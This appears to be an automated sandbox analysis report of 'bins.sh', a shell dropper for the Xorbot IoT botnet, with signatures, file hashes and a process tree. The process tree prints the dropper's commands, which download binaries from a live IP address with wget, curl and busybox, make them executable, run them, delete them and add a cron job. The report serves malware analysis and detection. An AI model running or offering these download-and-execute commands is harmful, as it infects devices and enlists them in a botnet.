Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/12/2024, 02:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9d1e0ce2335246f6bd57f886034a8b65

  • SHA1

    d8d5b5dae0e66bc74b700b8e66e96cd2deab2fba

  • SHA256

    915aef94b69db1c600838fe5e412a043bfba33eb88c97660c45203dd41567d1c

  • SHA512

    5d0ed44420c27385e495c4b21976494963b54854c18509d808ebb6940e5a821c6209f8a2e39e62f02cf124665c2ea1fb842ee7e03ff7fe78e08b661d3fb14763

  • SSDEEP

    192:1tE4IZAaZ/2QAQTX5+RbOnE4IZAaIhQAQTXmO7:1tE4IZxZ/YRbmE4IZxIw

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1917) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:663
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          ./Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Executes dropped EXE
          PID:690
        • /bin/rm
          rm Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Writes file to tmp directory
            PID:698
          • /bin/chmod
            chmod 777 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • File and Directory Permissions Modification
            PID:702
          • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            ./4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Executes dropped EXE
            PID:703
          • /bin/rm
            rm 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
              PID:705
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Writes file to tmp directory
              PID:707
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:714
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Writes file to tmp directory
              PID:722
            • /bin/chmod
              chmod 777 ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • File and Directory Permissions Modification
              PID:725
            • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              ./ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:726
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:729
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:730
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:732
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:733
                  • /bin/rm
                    rm ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                    2⤵
                      PID:737
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                      2⤵
                        PID:741
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                        2⤵
                          PID:742
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                          2⤵
                          • Writes file to tmp directory
                          PID:824
                        • /bin/chmod
                          chmod 777 FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                          2⤵
                          • File and Directory Permissions Modification
                          PID:833
                        • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                          ./FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                          2⤵
                          • Executes dropped EXE
                          PID:835
                        • /bin/rm
                          rm FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                          2⤵
                            PID:836
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                            2⤵
                              PID:838
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                              2⤵
                                PID:840
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                2⤵
                                • Writes file to tmp directory
                                PID:844
                              • /bin/chmod
                                chmod 777 xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                2⤵
                                • File and Directory Permissions Modification
                                PID:848
                              • /tmp/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                ./xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                2⤵
                                • Executes dropped EXE
                                PID:849
                              • /bin/rm
                                rm xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                2⤵
                                  PID:852
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                  2⤵
                                    PID:854
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                    2⤵
                                      PID:855

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /tmp/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /var/spool/cron/crontabs/tmp.9XiP7W

                                          Filesize

                                          210B

                                          MD5

                                          6d684259821b936feeb186480c14dc03

                                          SHA1

                                          0f20d600caf041fd473128445bbafd8e33708c97

                                          SHA256

                                          6de4703e23864f572a6ea184574de0d49ac037905b4bf635bbaedd4f51f3871a

                                          SHA512

                                          7a4ecaeeb3006db4c414691ddd7cbf49570fbc5247388a1b6ce2fb205eb0cbd090707062b06b6cd7911702d33bfb45749cb16b08be8f23b886575e914be14860